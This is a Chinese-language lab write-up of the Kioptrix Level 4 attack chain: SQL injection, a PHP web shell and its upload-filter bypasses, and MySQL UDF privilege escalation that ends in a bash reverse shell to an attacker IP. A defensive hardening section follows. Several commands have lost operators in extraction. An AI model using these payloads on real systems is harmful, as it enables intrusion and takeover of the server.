ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

从SQL注入到Root权限:MySQL UDF提权实战与防御解析

从SQL注入到Root权限:MySQL UDF提权实战与防御解析 1. 项目概述一次完整的权限升级实战Kioptrix Level 4 是一个经典的渗透测试靶场它模拟了一个存在多重安全缺陷的Web应用环境。这个靶场的核心价值在于它并非一个孤立的漏洞点而是构建了一条从外部网络攻击到最终获取服务器最高权限Root的完整攻击链。对于安全从业者或学习者而言复现这个过程不仅仅是学会几个工具命令更是理解攻击者如何利用一个看似微小的入口如一个Web表单的SQL注入点步步为营最终完全控制整个系统的思维路径。这其中的技术演进、权限提升提权的逻辑是安全防御体系构建中必须深刻理解的反面教材。本次实战的核心路径非常清晰发现SQL注入漏洞 - 利用注入获取数据库敏感信息如后台管理员密码- 登录后台寻找文件上传点 - 上传恶意Web Shell - 通过Web Shell在服务器上执行系统命令 - 发现数据库以高权限运行 - 利用MySQL的UDF用户自定义函数功能创建系统函数 - 执行该函数获得一个具有Root权限的Shell。整个过程环环相扣缺一不可。UDF提权是其中的技术难点和高潮部分它利用了数据库服务的高权限身份将攻击从应用层Web延伸到了系统层是内网渗透中非常经典的一种提权手段。接下来我将带你一步步拆解这个链条并重点剖析UDF提权的原理与实操细节。2. 环境准备与信息收集2.1 靶场环境搭建与网络配置Kioptrix Level 4 通常以虚拟机镜像如OVA格式的形式提供。你需要使用VMware Workstation或VirtualBox将其导入。启动后靶机通常会通过DHCP自动获取一个IP地址。你的攻击机通常是Kali Linux需要与靶机处于同一网络段例如都设置为NAT模式或桥接至同一物理网络。第一步永远是确定靶机的IP。在Kali上你可以使用netdiscover或nmap进行二层或三层发现。# 使用netdiscover进行ARP扫描快速发现同一网段内存活主机 sudo netdiscover -r 192.168.1.0/24 # 或者使用nmap进行ping扫描 sudo nmap -sn 192.168.1.0/24假设我们发现靶机IP为192.168.1.105。接下来我们需要对其进行全面的端口扫描以了解其开放了哪些服务这是绘制攻击面的基础。# 使用nmap进行全端口扫描并尝试识别服务版本和操作系统 sudo nmap -sS -sV -O -p- 192.168.1.105注意-p-参数表示扫描所有65535个端口这需要一些时间。在实际渗透测试中根据时间限制可能会先扫描常见端口-p 1-1000。-sS是SYN半开放扫描速度快且相对隐蔽。-sV用于探测服务版本-O用于猜测操作系统。扫描结果很可能显示开放了80端口HTTPWeb服务和3306端口MySQL数据库。Web服务是我们的初始入口点而3306端口在后期的UDF提权中至关重要因为它可能允许远程连接如果配置不当或者至少我们需要通过Web Shell与本地MySQL服务交互。2.2 初步Web应用侦察在浏览器中访问http://192.168.1.105我们会看到一个简单的网站。通常Kioptrix Level 4的网站上会有一个登录表单或搜索框这就是潜在的SQL注入点。使用浏览器开发者工具F12查看表单提交的地址和方法通常是GET或POST。同时使用目录扫描工具如gobuster或dirb来发现隐藏的目录或文件比如后台管理页面/admin、配置文件/config.php等。# 使用gobuster进行目录爆破使用常见的字典文件 gobuster dir -u http://192.168.1.105 -w /usr/share/wordlists/dirb/common.txt信息收集阶段要尽可能详细任何一点信息如网页注释、HTTP响应头中的服务器版本、错误信息都可能成为后续攻击的突破口。例如一个报错信息可能直接暴露数据库类型MySQL这让我们在构造SQL注入语句时更有针对性。3. SQL注入漏洞的发现与利用3.1 手动探测与验证注入点假设我们在首页发现一个形如http://192.168.1.105/page.php?id1的URL或者一个提交用户名密码的登录表单。我们以URL参数为例进行GET型注入探测。首先进行最基本的真值测试http://192.168.1.105/page.php?id1原始页面http://192.168.1.105/page.php?id1添加一个单引号如果第二个URL返回了与第一个不同的页面或者出现了数据库错误信息如“You have an error in your SQL syntax”那么这里极有可能存在SQL注入漏洞。为了进一步确认我们可以使用逻辑测试http://192.168.1.105/page.php?id1 and 11永真条件页面应正常显示http://192.168.1.105/page.php?id1 and 12永假条件页面应显示异常或为空如果“and 11”正常而“and 12”异常则基本可以断定存在数字型或基于整数处理的注入。如果参数是字符串我们可能需要在值两边加上单引号如id1 and 11。3.2 自动化工具加速利用以SQLmap为例手动探测可以加深理解但在实战或CTF中我们常使用sqlmap这样的自动化工具来高效地利用注入点并提取数据。# 基本检测判断是否存在注入 sqlmap -u http://192.168.1.105/page.php?id1 --batch # 如果存在注入获取当前数据库名称 sqlmap -u http://192.168.1.105/page.php?id1 --batch --current-db # 假设当前数据库是 webapp列出该数据库中的所有表 sqlmap -u http://192.168.1.105/page.php?id1 --batch -D webapp --tables # 假设发现 users 表列出该表的所有列 sqlmap -u http://192.168.1.105/page.php?id1 --batch -D webapp -T users --columns # 最终提取 username 和 password 列的数据 sqlmap -u http://192.168.1.105/page.php?id1 --batch -D webapp -T users -C username,password --dump实操心得--batch参数会让sqlmap自动选择默认选项适合非交互式环境。但在关键步骤如写入文件、执行命令前最好去掉--batch仔细确认payload避免对靶场或测试环境造成意外破坏。另外sqlmap的--level和--risk参数可以提高检测的广度和深度在简单注入失败时可以尝试调高。3.3 获取后台权限与Web Shell上传通过SQL注入我们很可能从users表中获取到管理员账号的密码哈希值可能是MD5。使用在线破解网站如crackstation.net或本地工具如John the Ripper进行破解得到明文密码。用得到的账号密码登录网站后台。在Kioptrix Level 4中后台通常存在一个文件上传功能例如用于上传用户头像或文档。我们的目标是将一个恶意的PHP Web Shell上传到服务器。我们需要制作一个简单的Web Shell。创建一个名为shell.php的文件内容如下?php system($_REQUEST[cmd]); ?这个脚本会接收一个名为cmd的GET或POST参数并将其作为系统命令执行。在文件上传时服务器可能对文件后缀如只允许.jpg,.png或文件内容检测?php标签进行检查。常见的绕过方法包括后缀名绕过尝试shell.php.jpg,shell.pHp(大小写混淆)或者利用服务器解析漏洞如Apache的shell.php.jpg可能被解析为PHP如果配置不当。内容绕过使用其他标签如script language”php”system($_GET[‘cmd’]);/script或者将代码嵌入图片的元数据Exif中再配合文件包含漏洞执行。双写后缀shell.pphphp如果过滤逻辑是删除php字符串删除后剩下的就是shell.php。成功上传后我们需要知道文件被保存到了哪个Web可访问目录。通常可能是/uploads/、/images/或网站根目录本身。通过访问http://192.168.1.105/uploads/shell.php?cmdwhoami来测试Web Shell是否生效。如果页面返回了当前系统用户的用户名如www-data恭喜你我们已经获得了在服务器上执行命令的能力。4. MySQL UDF提权原理与前置条件分析4.1 什么是UDF提权UDF即 User-Defined Function用户自定义函数是MySQL、PostgreSQL等数据库提供的一个功能允许用户编写自定义的函数通常用C/C编写编译成动态链接库如.so文件在Linux上.dll在Windows上并在SQL语句中像使用内置函数如SUM(),NOW()一样使用它们。提权的核心逻辑在于MySQL服务进程mysqld在操作系统上是以某个用户身份运行的。如果这个用户权限很高比如root那么通过MySQL执行的UDF函数也将继承这个高权限。如果我们能向MySQL服务器注入一个恶意的UDF库该库中包含一个能执行系统命令或反弹Shell的函数那么我们就能以MySQL服务进程的身份例如root来执行任意命令。4.2 提权成功的关键前提条件不是所有MySQL服务都能被UDF提权。在尝试之前必须确认以下几个条件否则努力将是徒劳的MySQL服务以高权限运行这是最根本的条件。你需要通过Web Shell执行ps aux | grep mysql或cat /etc/passwd | grep mysql来查看MySQL的运行用户。如果用户是root那是最理想的如果是mysql用户则需要看它是否拥有sudo权限或能否访问敏感文件。拥有MySQL的写文件权限secure_file_priv设置这是MySQL中控制LOAD DATA INFILE和SELECT ... INTO OUTFILE权限的变量。如果其值为NULL则禁止文件导入/导出如果为空字符串则允许向任意有权限的目录写文件如果是一个目录路径则只允许向该目录写文件。通过Web Shell连接MySQL后执行show variables like ‘secure_file_priv’;来查看。FILE权限连接数据库的当前用户必须拥有FILE权限。执行show grants;查看。通常为了UDF提权我们需要一个拥有FILE权限的数据库账号。这个账号可能通过之前的SQL注入从配置文件中泄露或者是默认的弱口令如root/空密码。插件目录可写MySQL有一个特定的目录plugin_dir用于存放UDF库文件。我们需要将编译好的恶意.so文件写入这个目录。通过show variables like ‘plugin_dir’;查看路径。我们需要有向这个目录写入文件的权限。有时plugin_dir指向的目录MySQL用户不可写但我们可以通过SELECT ... INTO DUMPFILE将文件写入其他MySQL用户有执行权限的目录如/tmp但这需要额外的步骤来让MySQL加载它。重要注意事项在Kioptrix Level 4靶场中这些条件通常被故意设置为满足状态以方便教学。但在真实环境中同时满足这些条件的情况越来越少尤其是现代MySQL默认以独立、低权限的mysql用户运行且secure_file_priv默认被严格限制。这使得UDF提权成为一种“古老”但仍有教育意义的技巧。5. UDF提权实战步骤详解5.1 编译生成恶意UDF库我们需要一个预编译的UDF库文件或者从源码编译。Kali Linux中通常自带了一个常用的提权库raptor_udf2。你可以找到其C源代码通常在/usr/share/metasploit-framework/data/exploits/或网上搜索然后根据目标系统架构进行编译。首先通过Web Shell确定目标系统架构# 在Web Shell中执行 uname -m常见的结果是i68632位或x86_6464位。Kioptrix Level 4 通常是32位系统。在Kali攻击机上编译32位的UDF库# 1. 找到或下载raptor_udf2.c源码 # 2. 使用gcc编译注意指定目标架构和生成共享库 gcc -g -shared -fPIC -o raptor_udf2.so raptor_udf2.c -lc如果目标系统是64位你可能需要交叉编译或者寻找预编译的64位版本。编译成功后你会得到一个raptor_udf2.so文件。5.2 将UDF库文件上传至靶机我们需要将这个.so文件从攻击机传送到靶机的Web目录或/tmp目录。有几种方法使用Web Shell的下载功能在攻击机用Python启动一个简单的HTTP服务然后在Web Shell中用wget或curl下载。# 在Kali上在.so文件所在目录 python3 -m http.server 8080 # 在Web Shell中假设靶机有wget wget http://你的Kali IP:8080/raptor_udf2.so -O /tmp/raptor.so使用MySQL的SELECT ... INTO DUMPFILE如果secure_file_priv允许这是更直接的方法但需要先将.so文件的内容转换为十六进制格式。在Kali上# 将.so文件转换为十六进制字符串 xxd -p raptor_udf2.so | tr -d \n raptor_hex.txt然后通过Web Shell连接到MySQL执行类似下面的语句需要FILE权限SELECT unhex(粘贴整个十六进制字符串) INTO DUMPFILE /usr/lib/mysql/plugin/raptor.so;注意写入路径必须是plugin_dir目录或其子目录且MySQL用户有写权限。5.3 在MySQL中创建UDF函数并执行假设我们已将raptor.so上传到了/tmp/raptor.so并且MySQL的plugin_dir是/usr/lib/mysql/plugin/且我们有权限将文件移动到那里或者直接写入了那里。通过Web Shell连接到MySQL使用之前获取的数据库账号例如root用户mysql -u root -p输入密码可能是空密码或弱密码。在MySQL交互界面中执行以下SQL语句-- 1. 创建自定义函数函数名‘do_system’在raptor_udf2.c中定义 CREATE FUNCTION do_system RETURNS INTEGER SONAME raptor.so; -- 2. 使用该函数执行系统命令。例如创建一个具有SUID权限的bash副本这是一种备选提权方法。 -- SELECT do_system(cp /bin/bash /tmp/rootbash; chmod xs /tmp/rootbash); -- 更直接的方式使用do_system函数执行一个反弹Shell命令将Shell弹回我们的攻击机。 -- 假设我们的攻击机IP是192.168.1.100监听4444端口。 SELECT do_system(bash -c bash -i /dev/tcp/192.168.1.100/4444 01);5.4 接收Root权限Shell在执行反弹Shell命令前我们需要在攻击机Kali上启动一个Netcat监听器nc -lvnp 4444然后在MySQL中执行上述SELECT do_system(...)语句。如果一切顺利你将在Netcat终端看到一个来自靶机的Shell连接。立即使用whoami或id命令验证权限。由于MySQL服务是以root身份运行的这个通过UDF函数触发的Shell进程也将继承root权限你应该能看到uid0(root)。至此我们已经完成了从Web前端SQL注入到获取系统Root权限的完整攻击链。6. 攻击链的深度复盘与防御思考6.1 攻击链各环节的脆弱点总结输入验证缺失Web应用未对用户输入的id参数进行任何过滤或转义导致SQL注入。这是整个攻击链的起点也是最常见的漏洞之一。密码安全薄弱数据库存储的用户密码使用了弱哈希如MD5甚至明文且管理员密码强度不足被轻易破解。权限控制不当后台文件上传功能未对文件类型、内容进行严格检查导致恶意Web Shell被上传并执行。最小权限原则失效MySQL数据库服务以最高权限root运行而不是专用的、低权限的账户。数据库配置错误MySQL用户被授予了不必要的FILE权限且secure_file_priv配置过于宽松允许向敏感目录写入文件。系统层防御缺失未部署有效的入侵检测系统IDS/IPS、文件完整性监控或严格的SELinux/AppArmor策略使得攻击行为未被及时发现和阻止。6.2 针对性的防御加固建议理解了攻击如何发生防御就有了明确的方向针对SQL注入使用参数化查询Prepared Statements这是最根本、最有效的防御手段确保用户输入永远被当作数据处理而非代码的一部分。对输入进行严格的验证和过滤定义允许的字符白名单过滤掉诸如单引号、分号等特殊字符。最小权限原则为Web应用连接数据库分配仅能满足其功能所需的最低权限账号绝不使用root账户。错误信息处理自定义错误页面避免将详细的数据库错误信息直接返回给用户。针对权限提升与UDF提权以非root用户运行MySQL创建专用的mysql用户和用户组来运行数据库服务并确保该用户没有任何shell如/bin/false。严格配置MySQL设置secure_file_priv /var/lib/mysql-files或一个特定的、安全的目录禁止向任意目录写文件。移除不必要的FILE权限。定期审计数据库用户权限。考虑禁用CREATE FUNCTION或限制其只能使用可信的库。文件系统权限控制确保plugin_dir目录的权限严格只有MySQL服务用户可读其他用户不可写。系统层加固部署并配置SELinux或AppArmor限制MySQL进程的能力即使被入侵其能造成的破坏也有限。定期更新系统和数据库补丁。纵深防御体系WAFWeb应用防火墙在网络边界部署WAF可以拦截常见的SQL注入、文件上传攻击等payload。日志与监控集中收集和分析Web服务器、数据库、系统日志对异常行为如非常规文件创建、特权命令执行设置告警。定期安全评估通过渗透测试和代码审计主动发现和修复潜在的安全漏洞。复现Kioptrix Level 4的过程就像跟随攻击者的视角完成了一次完整的“闯关”。每一步的突破都对应着防御体系中的一个缺口。对于防御者而言真正的价值不在于记住这几个攻击命令而在于理解这串连锁反应背后的安全原理从而在自己的系统中构建起多层次、纵深的安全防线让攻击者无法轻易地从A点抵达Z点。安全是一个持续的过程而非一劳永逸的状态。
返回列表